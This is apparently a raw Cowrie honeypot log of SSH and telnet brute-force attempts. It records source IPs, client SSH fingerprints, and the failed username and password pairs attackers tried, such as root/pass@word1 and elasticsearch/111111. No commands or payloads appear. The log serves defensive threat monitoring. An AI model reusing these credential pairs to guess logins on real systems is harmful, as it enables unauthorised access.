{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:57.071371Z","src_ip":"195.86.192.66","session":"d749bcba7efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Chang3M3!","message":"login attempt [root/Chang3M3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:57.989681Z","src_ip":"195.86.192.66","session":"d749bcba7efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:14:59.213031Z","src_ip":"195.86.192.66","session":"d749bcba7efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.917832374572754,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:07.442196Z","src_ip":"170.64.224.25","session":"a307bca76a20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":50606,"dst_ip":"159.203.135.109","dst_port":22,"session":"c80b0a43c42e","protocol":"ssh","message":"New connection: 157.230.18.133:50606 (159.203.135.109:22) [session: c80b0a43c42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:07.507018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:07.512509Z","src_ip":"157.230.18.133","session":"c80b0a43c42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:07.602820Z","src_ip":"157.230.18.133","session":"c80b0a43c42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fzghc","password":"fzghc123","message":"login attempt [fzghc/fzghc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:07.965551Z","src_ip":"157.230.18.133","session":"c80b0a43c42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:09.050640Z","src_ip":"157.230.18.133","session":"c80b0a43c42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47956,"dst_ip":"159.203.135.109","dst_port":22,"session":"51c5431fbdb1","protocol":"ssh","message":"New connection: 176.32.39.21:47956 (159.203.135.109:22) [session: 51c5431fbdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:13.067196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:13.079890Z","src_ip":"176.32.39.21","session":"51c5431fbdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:13.215384Z","src_ip":"176.32.39.21","session":"51c5431fbdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19952010","message":"login attempt [root/19952010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:13.568437Z","src_ip":"176.32.39.21","session":"51c5431fbdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:14.686441Z","src_ip":"176.32.39.21","session":"51c5431fbdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.969966173172,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:16.280372Z","src_ip":"170.64.224.25","session":"aafc2a8199b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44492,"dst_ip":"10.17.0.5","dst_port":22,"session":"203a60e2b75e","protocol":"ssh","message":"New connection: 91.92.40.4:44492 (10.17.0.5:22) [session: 203a60e2b75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:26.399841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:26.423421Z","src_ip":"91.92.40.4","session":"203a60e2b75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:26.635592Z","src_ip":"91.92.40.4","session":"203a60e2b75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:27.050401Z","src_ip":"91.92.40.4","session":"203a60e2b75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:28.136801Z","src_ip":"91.92.40.4","session":"203a60e2b75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48022,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff389c88adab","protocol":"telnet","message":"New connection: 170.64.224.25:48022 (159.203.135.109:23) [session: ff389c88adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:30.116714Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":40380,"dst_ip":"10.17.0.5","dst_port":22,"session":"728a881805fa","protocol":"ssh","message":"New connection: 101.32.145.199:40380 (10.17.0.5:22) [session: 728a881805fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:40.517757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:40.523201Z","src_ip":"101.32.145.199","session":"728a881805fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42260,"dst_ip":"159.203.135.109","dst_port":23,"session":"980802160531","protocol":"telnet","message":"New connection: 170.64.224.25:42260 (159.203.135.109:23) [session: 980802160531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:40.567254Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:40.756950Z","src_ip":"101.32.145.199","session":"728a881805fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@word1","message":"login attempt [root/pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:41.704317Z","src_ip":"101.32.145.199","session":"728a881805fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:15:42.953599Z","src_ip":"101.32.145.199","session":"728a881805fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":36232,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b796bc7bcb","protocol":"ssh","message":"New connection: 162.240.35.200:36232 (159.203.135.109:22) [session: f2b796bc7bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:03.255123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:03.263393Z","src_ip":"162.240.35.200","session":"f2b796bc7bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:03.364411Z","src_ip":"162.240.35.200","session":"f2b796bc7bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome$%","message":"login attempt [root/welcome$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:03.621618Z","src_ip":"162.240.35.200","session":"f2b796bc7bcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:06.151261Z","src_ip":"162.240.35.200","session":"f2b796bc7bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33838,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b457c16b10","protocol":"telnet","message":"New connection: 137.184.5.188:33838 (159.203.135.109:23) [session: b5b457c16b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:08.984642Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":35482,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fbd15adaaac","protocol":"ssh","message":"New connection: 222.108.100.117:35482 (10.17.0.5:22) [session: 3fbd15adaaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:10.389107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:10.392871Z","src_ip":"222.108.100.117","session":"3fbd15adaaac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:10.602638Z","src_ip":"222.108.100.117","session":"3fbd15adaaac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"111111","message":"login attempt [elasticsearch/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:11.468571Z","src_ip":"222.108.100.117","session":"3fbd15adaaac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:12.679889Z","src_ip":"222.108.100.117","session":"3fbd15adaaac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.788225173950195,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:30.904822Z","src_ip":"170.64.224.25","session":"ff389c88adab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.947925090789795,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:35.515056Z","src_ip":"170.64.224.25","session":"980802160531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":49206,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ed1f484d20","protocol":"ssh","message":"New connection: 157.230.18.133:49206 (159.203.135.109:22) [session: 99ed1f484d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:35.712745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:35.719480Z","src_ip":"157.230.18.133","session":"99ed1f484d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:35.801294Z","src_ip":"157.230.18.133","session":"99ed1f484d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ip6","password":"ip6","message":"login attempt [ip6/ip6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:36.152682Z","src_ip":"157.230.18.133","session":"99ed1f484d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:37.234228Z","src_ip":"157.230.18.133","session":"99ed1f484d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.666759490966797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:16:40.651276Z","src_ip":"137.184.5.188","session":"b5b457c16b10","protocol":"telnet"}
